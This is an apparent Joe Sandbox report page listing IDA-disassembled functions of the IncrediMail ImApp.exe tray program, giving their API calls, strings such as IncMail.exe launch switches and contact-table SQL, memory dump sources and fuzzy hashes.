Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#1460#344#680ClearVariant
String ID: CImTray::OnGetDBInfoManager()$Failed to create IDBInfoManager interface.
API String ID: 2156854156-1137467625
Opcode ID: 2799f1dcb281cb576c0bca0cf09023a10d0f0c229cb2015c4bf32fda7e56e5d5
Instruction ID: f63c4342953b23815389b63bf6eb00147313989f6962c69998c87aef4ea1c9e3
Opcode Fuzzy Hash: 2799f1dcb281cb576c0bca0cf09023a10d0f0c229cb2015c4bf32fda7e56e5d5
Instruction Fuzzy Hash: 94218171604700AFC310DF29D845F6BB7E8EB89B60F50462EF814A7390D738A801CFAA

Function 00404FC0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

#1194.MFC80U(FC8A6036,FC8A6036), ref: 00405008
#680.IMUTILSU(00425174,?,?,?), ref: 00405039
VariantClear.OLEAUT32(?), ref: 00405050
#344.IMUTILSU(004247D4,CImTray::OnGetJunkFilter(),Failed to create IJunkFilter interface.,00000000), ref: 0040506A
#1460.IMUTILSU(004247D4,CImTray::OnGetJunkFilter(),Failed to create IJunkFilter interface.,00000000), ref: 00405071

Strings

CImTray::OnGetJunkFilter(), xrefs: 00405060
Failed to create IJunkFilter interface., xrefs: 0040505B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#1460#344#680ClearVariant
String ID: CImTray::OnGetJunkFilter()$Failed to create IJunkFilter interface.
API String ID: 2156854156-3273765143
Opcode ID: c9144d515b740ec380fe8cefb314a32af41398e95c6b6064507d49119c42d3ab
Instruction ID: 3d93523922e2795dcc54fa274b3f23db4daaa8227169c15149e94e2f686b31c4
Opcode Fuzzy Hash: c9144d515b740ec380fe8cefb314a32af41398e95c6b6064507d49119c42d3ab
Instruction Fuzzy Hash: FA21BF71604700AFC310DF2AD945E6BB7E8EF88760F504A2EF85497391D739A801CFAA

Function 020C9480 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

#9.IMDBU(SELECT 1 FROM Contacts WHERE ContactID=:ContactID,ContactID,?,?,?,020D997D,?,00000001,?,00000001), ref: 020C9494
#28.IMDBU(SELECT 1 FROM Contacts WHERE ContactID=:ContactID,?,00000001,SELECT 1 FROM Contacts WHERE ContactID=:ContactID,ContactID,?,?,?,020D997D,?,00000001,?,00000001), ref: 020C94B3
#9.IMDBU(DELETE FROM Contacts WHERE ContactID=:ContactID,ContactID,?,SELECT 1 FROM Contacts WHERE ContactID=:ContactID,?,00000001,SELECT 1 FROM Contacts WHERE ContactID=:ContactID,ContactID,?,?,?,020D997D,?,00000001,?,00000001), ref: 020C94D9
#8.IMDBU(DELETE FROM Contacts WHERE ContactID=:ContactID,00000001,00000000,DELETE FROM Contacts WHERE ContactID=:ContactID,ContactID,?,SELECT 1 FROM Contacts WHERE ContactID=:ContactID,?,00000001,SELECT 1 FROM Contacts WHERE ContactID=:ContactID,ContactID,?,?,?,020D997D,?), ref: 020C94F2

Strings

SELECT 1 FROM Contacts WHERE ContactID=:ContactID, xrefs: 020C948D, 020C94A4
DELETE FROM Contacts WHERE ContactID=:ContactID, xrefs: 020C94D2, 020C94EB
ContactID, xrefs: 020C9485, 020C94CD

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: ContactID$DELETE FROM Contacts WHERE ContactID=:ContactID$SELECT 1 FROM Contacts WHERE ContactID=:ContactID
API String ID: 0-1714545345
Opcode ID: 4aa1097c260736a844ca15edcee4a8f1af21686aa839d5960a900a724d57349c
Instruction ID: e7cf77e9cbb7d924cb94efb9e4ae8e0e6c048439ba584a2d95d23333a1b85bb3
Opcode Fuzzy Hash: 4aa1097c260736a844ca15edcee4a8f1af21686aa839d5960a900a724d57349c
Instruction Fuzzy Hash: 15F024627C13103EFD942268AC15FEF87869B80FA2F10401DFE07DE580CBE088413791

Function 00419EA0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

#1359.IMUTILSU(?,IncMail.exe,00000001,FC8A6036,?,?,00420ED9,000000FF), ref: 00419ED2
#3391.MFC80U(/c /n,00000000,00000001,?,?,?,?,?,?,00420ED9,000000FF), ref: 00419EED
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00419EFB
#578.MFC80U(?,?,?,?,?,?,00420ED9,000000FF), ref: 00419F0D

Strings

/c /n, xrefs: 00419EE6
IncMail.exe, xrefs: 00419ECC
open, xrefs: 00419EF4

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578ExecuteShell
String ID: /c /n$IncMail.exe$open
API String ID: 1103868209-3651280402
Opcode ID: c926cbdb2e2ea269e84dfde428d170de175f1d36a44f268ee50b4118cb6b097f
Instruction ID: c62ee3bd48a2af8cd18169f1f7e4fc9483df65aaedcd74f9b450e98e94857e4f
Opcode Fuzzy Hash: c926cbdb2e2ea269e84dfde428d170de175f1d36a44f268ee50b4118cb6b097f
Instruction Fuzzy Hash: 1CF0AF75388340BBD314EF50ED0AF5A77E4FB44B20F900A2AF551962E0DBBC9640CA5A

Function 00415240 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

#1359.IMUTILSU(?,IncMail.exe,00000001,FC8A6036,?,?,00420429,000000FF), ref: 0041526D
#3391.MFC80U(/c /t:taf,00000000,00000001,?,?,?,?,?,?,00420429,000000FF), ref: 00415288
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00415296
#578.MFC80U(?,?,?,?,?,?,00420429,000000FF), ref: 004152A8

Strings

/c /t:taf, xrefs: 00415281
IncMail.exe, xrefs: 00415267
open, xrefs: 0041528F

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578ExecuteShell
String ID: /c /t:taf$IncMail.exe$open
API String ID: 1103868209-3688709660
Opcode ID: 3e18b080ced7f7f24d06aa453c4bda2482919f1803fffd38965824a561469a6f
Instruction ID: c85d1493bbea9b46e45a610b867eb1258bc43d10cf49578d8953c1147daaf863
Opcode Fuzzy Hash: 3e18b080ced7f7f24d06aa453c4bda2482919f1803fffd38965824a561469a6f
Instruction Fuzzy Hash: B2F0AF75384340BFD314EF10ED4AF5677E4FB44B20F900A29F551862E0DBBC96008A5A

Function 004152C0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

#1359.IMUTILSU(?,IncMail.exe,00000001,FC8A6036,?,?,00420459,000000FF), ref: 004152ED
#3391.MFC80U(/c /ib,00000000,00000001,?,?,?,?,?,?,00420459,000000FF), ref: 00415308
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00415316
#578.MFC80U(?,?,?,?,?,?,00420459,000000FF), ref: 00415328

Strings

/c /ib, xrefs: 00415301
IncMail.exe, xrefs: 004152E7
open, xrefs: 0041530F

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578ExecuteShell
String ID: /c /ib$IncMail.exe$open
API String ID: 1103868209-1731193699
Opcode ID: ee012e2e235f51167788d8ba0e605f5cd2cce64e65a600a26a90fb0799fa781b
Instruction ID: 7b56c2a247aaacfaf6a089ba3b1b7cc3ff4bd86647b91f4f3b1023bdf04386a8
Opcode Fuzzy Hash: ee012e2e235f51167788d8ba0e605f5cd2cce64e65a600a26a90fb0799fa781b
Instruction Fuzzy Hash: F4F0C275384340BFD314EF10DD0AF567BE4FB44B20F900A29F555862E0DBBC9500CA5A

Function 00414310 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

#1359.IMUTILSU(?,IncMail.exe,00000001,FC8A6036,?,?,00420209,000000FF), ref: 0041433D
#3391.MFC80U(/c /newm,00000000,00000001,?,?,?,?,?,?,00420209,000000FF), ref: 00414358
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00414366
#578.MFC80U(?,?,?,?,?,?,00420209,000000FF), ref: 00414378

Strings

IncMail.exe, xrefs: 00414337
open, xrefs: 0041435F
/c /newm, xrefs: 00414351

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578ExecuteShell
String ID: /c /newm$IncMail.exe$open
API String ID: 1103868209-1125042270
Opcode ID: 000d9f16369f79e6f10e0d3c305554fcf481873d6b45222f6cf3719e974bb24c
Instruction ID: 54bed8f9b54aa072f98c6e5e5a5a310931817a65e3bdc63031e02190e0196ff5
Opcode Fuzzy Hash: 000d9f16369f79e6f10e0d3c305554fcf481873d6b45222f6cf3719e974bb24c
Instruction Fuzzy Hash: FEF0C275384340BFD314DF50DD0AF5677E4FB44B20F900A2AF551862E0DBBC9500CA5A

Function 00414390 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

#1359.IMUTILSU(?,IncMail.exe,00000001,FC8A6036,?,?,00420239,000000FF), ref: 004143BD
#3391.MFC80U(/c /t:vip,00000000,00000001,?,?,?,?,?,?,00420239,000000FF), ref: 004143D8
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 004143E6
#578.MFC80U(?,?,?,?,?,?,00420239,000000FF), ref: 004143F8

Strings

/c /t:vip, xrefs: 004143D1
IncMail.exe, xrefs: 004143B7
open, xrefs: 004143DF

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578ExecuteShell
String ID: /c /t:vip$IncMail.exe$open
API String ID: 1103868209-946713992
Opcode ID: 9ee46645bd1f9d82c36bcbf83d14166c78859bf2d523c3c03fc50d88cd7f5b36
Instruction ID: 4dd68a10ac4c17cf0be2f35c60bc38faf2944029ccf19049cf9058b40933476c
Opcode Fuzzy Hash: 9ee46645bd1f9d82c36bcbf83d14166c78859bf2d523c3c03fc50d88cd7f5b36
Instruction Fuzzy Hash: 81F0C275384340BFD314DF50DD0AF5677E4FB44B20F900A2AF955862E0DBBC9500CA5A

Function 00414480 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

#1359.IMUTILSU(?,IncMail.exe,00000001,FC8A6036,?,?,00420299,000000FF), ref: 004144AD
#3391.MFC80U(/auto:checkforupdate,00000000,00000001,?,?,?,?,?,?,00420299,000000FF), ref: 004144C8
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 004144D6
#578.MFC80U(?,?,?,?,?,?,00420299,000000FF), ref: 004144E8

Strings

/auto:checkforupdate, xrefs: 004144C1
IncMail.exe, xrefs: 004144A7
open, xrefs: 004144CF

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1359#3391#578ExecuteShell
String ID: /auto:checkforupdate$IncMail.exe$open
API String ID: 1103868209-4284034688
Opcode ID: d16057518c8026157a61521d38666d67015ccce3ad9a7f518686202b5915ac28
Instruction ID: 192ec8e379f89751cae4c48ae132f6e71cda9a81e5302b6b970b02647da8fee1
Opcode Fuzzy Hash: d16057518c8026157a61521d38666d67015ccce3ad9a7f518686202b5915ac28
Instruction Fuzzy Hash: DEF0C275384340BFD314DF50ED0AF5677E4FB44B21F900A2AF551862E0DBBC9504CA5A

Function 00401AE0 Relevance: 12.1, APIs: 8, Instructions: 135COMMON

Download Yara Rule

APIs

#15.IMUTILSU ref: 00401B8A
#708.IMUTILSU ref: 00401BA5
#331.IMUTILSU(?), ref: 00401BC3
#310.MFC80U(?), ref: 00401BE2
#1322.IMUTILSU(00003AAC,?), ref: 00401BFA
#332.IMUTILSU ref: 00401C28
#578.MFC80U ref: 00401C74
#74.IMUTILSU ref: 00401C8F

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1322#310#331#332#578#708
String ID:
API String ID: 2056018904-0
Opcode ID: b40632450e03d6a7ef143daeef5869b1185934e4dc3be016572f5cc5afabe7a5
Instruction ID: bc350833df27ecf5cc38667a9a9a376390beea2bf2426d5de245ed2e8ea1be77
Opcode Fuzzy Hash: b40632450e03d6a7ef143daeef5869b1185934e4dc3be016572f5cc5afabe7a5
Instruction Fuzzy Hash: 9C5144B12083419FD314DF55C880F9BB7E4FF88718F504A2EE589972A0DB74E94ACB96

Function 0040BA10 Relevance: 12.1, APIs: 8, Instructions: 128registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,0002001F,?,FC8A6036), ref: 0040BA79
RegCloseKey.ADVAPI32(?), ref: 0040BA94
RegEnumKeyExW.ADVAPI32 ref: 0040BAD2
RegEnumKeyExW.ADVAPI32(00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 0040BB18
RegCloseKey.ADVAPI32(?), ref: 0040BB2B
RegDeleteKeyW.ADVAPI32(?,?), ref: 0040BB3A
RegCloseKey.ADVAPI32(?), ref: 0040BB56
RegCloseKey.ADVAPI32(?), ref: 0040BBA0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Close$Enum$DeleteOpen
String ID:
API String ID: 3743465055-0
Opcode ID: 9faca17cde972b3641b6b121b570b0b5493fda530d83b2b3880f62b1a4af0bbc
Instruction ID: 594b031199310fe361a6675c0e515d44f6c1bf50f706ef1ac02fa56c340793ae
Opcode Fuzzy Hash: 9faca17cde972b3641b6b121b570b0b5493fda530d83b2b3880f62b1a4af0bbc
Instruction Fuzzy Hash: 2E4134B1208355AFC320DF14DD8495BB7E8FB88764F500A2EF585D3290D774D945CBAA

Function 10009240 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

#764.MFC80U(?,00000000,?,10008D4C), ref: 10009257

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #764
String ID:
API String ID: 441403673-0
Opcode ID: be11db07562fb2fbcb3c4778c337fc71197a7fccdd0c5fe3a6efce110a744f71
Instruction ID: f45659e9c5619a476144e49c3974c277ea5175dac323c15fad2e73bfec671417
Opcode Fuzzy Hash: be11db07562fb2fbcb3c4778c337fc71197a7fccdd0c5fe3a6efce110a744f71
Instruction Fuzzy Hash: B631F8F56007099BE724CF69CCC1A5BB3E9EB80294F54C82EE15BC7A5ADB35F8408B10

Function 10003CE0 Relevance: 12.1, APIs: 8, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(DC7F1836), ref: 10003D24
_invalid_parameter_noinfo.MSVCR80(DC7F1836), ref: 10003D37
_invalid_parameter_noinfo.MSVCR80(DC7F1836), ref: 10003D4B
_invalid_parameter_noinfo.MSVCR80(DC7F1836), ref: 10003D5F
sqlite3_create_function16.SQLITE3(?,?,?,00000004,?,Function_000037D0,00000000,00000000,DC7F1836), ref: 10003D80
#6735.MFC80U(?,?,?,?,?,DC7F1836), ref: 10003D91
#578.MFC80U(?), ref: 10003DB8
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,DC7F1836), ref: 10003DC4

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#578#6735sqlite3_create_function16
String ID:
API String ID: 2594897587-0
Opcode ID: ec88f69852f3d67988c8cdeb4b42730f93b93f20397410269f46315d6ae60b28
Instruction ID: 97a8fa468310d7a3937de2a94940b9d7ca8ad457c2cb62681143467c55138e07
Opcode Fuzzy Hash: ec88f69852f3d67988c8cdeb4b42730f93b93f20397410269f46315d6ae60b28
Instruction Fuzzy Hash: A641AE729042859FE312CF18D884F87BBE8EB093E4F068659E895976A5D730FD84CB91

Function 00408F50 Relevance: 12.1, APIs: 8, Instructions: 101COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00408F75
#314.MFC80U(00000000,FC8A6036), ref: 00408F7F
#6751.MFC80U(00000000,?), ref: 00408FBF
#1194.MFC80U(?), ref: 00408FF7
#678.IMUTILSU(?,00000000,FC8A6036), ref: 00409028
VariantClear.OLEAUT32(?), ref: 0040903C
#681.IMUTILSU ref: 0040905E
#6751.MFC80U(00000000,?), ref: 00409088

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1067#1194#314#678#681ClearVariant
String ID:
API String ID: 129437664-0
Opcode ID: d4e8f4daac5cea5bd35d6b836a0a548966df8f56c8f51cd68bf0a246c7752951
Instruction ID: 8a9317542555c143f25497e2281ca2cc0d892883f6518dde3b94bfdecc421958
Opcode Fuzzy Hash: d4e8f4daac5cea5bd35d6b836a0a548966df8f56c8f51cd68bf0a246c7752951
Instruction Fuzzy Hash: 964145712083019FC314DF29C985B5BB7E5EB88714F048A2EF4A987391DB38E805CB9A

Function 020D5330 Relevance: 12.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(265105E4,?,?,?,?,?,?,020EDE52,000000FF), ref: 020D537B
_invalid_parameter_noinfo.MSVCR80(265105E4,?,?,?,?,?,?,020EDE52,000000FF), ref: 020D5388
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D5395
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D53A2
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D53B6
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D53C3
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D53EE
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,020EDE52,000000FF), ref: 020D53FB

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4e8fea611fb232a2bdb730613d304b1038455195e00fd11e5fa2c4a640378210
Instruction ID: 2031ec3629386288820971393741b9e105759d45673b1bcde590e150f9000252
Opcode Fuzzy Hash: 4e8fea611fb232a2bdb730613d304b1038455195e00fd11e5fa2c4a640378210
Instruction Fuzzy Hash: 27311571605701CFD321DF09C880B6ABBE4EB44728F848959E89A97650C7B5F884DFA6

Function 004195A0 Relevance: 12.1, APIs: 8, Instructions: 81windowCOMMON

Download Yara Rule

APIs

#2121.MFC80U ref: 0041962B
IsWindow.USER32(?), ref: 00419643
#3928.MFC80U ref: 00419655
GetDesktopWindow.USER32 ref: 0041965F
#2366.MFC80U(00000000), ref: 00419666
#3391.MFC80U(00000000,00000001,00000000), ref: 00419670
#6251.MFC80U(00000000), ref: 00419679
Shell_NotifyIconW.SHELL32(?,000003B8), ref: 004196A9

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Window$#2121#2366#3391#3928#6251DesktopIconNotifyShell_
String ID:
API String ID: 3577823375-0
Opcode ID: 4c9e72774982150d7c4bedeb3018a5e6a355db43f2ae8d54d14933d2f3f3fa2e
Instruction ID: b50cf6af4ac3c2bd56662a1f7e0c200734b0afaec5bee1d8bceea4683c5ce70c
Opcode Fuzzy Hash: 4c9e72774982150d7c4bedeb3018a5e6a355db43f2ae8d54d14933d2f3f3fa2e
Instruction Fuzzy Hash: DA3182706043019FD725DF64D9A8BAF77E8BB84304F40491EE099C2291DB789A858BAA

Function 020E7700 Relevance: 12.1, APIs: 8, Instructions: 76windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 020E7720
SftTree_GetCurSel.SFTTREE_IX86_U_60(?), ref: 020E772E
GetFocus.USER32 ref: 020E774C
SftTree_GetCurSel.SFTTREE_IX86_U_60(?), ref: 020E775A
GetFocus.USER32 ref: 020E776A
IsChild.USER32(?,00000000), ref: 020E778C
IsWindowVisible.USER32(?), ref: 020E779B
#44.SFTTREE_IX86_U_60 ref: 020E77B6

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
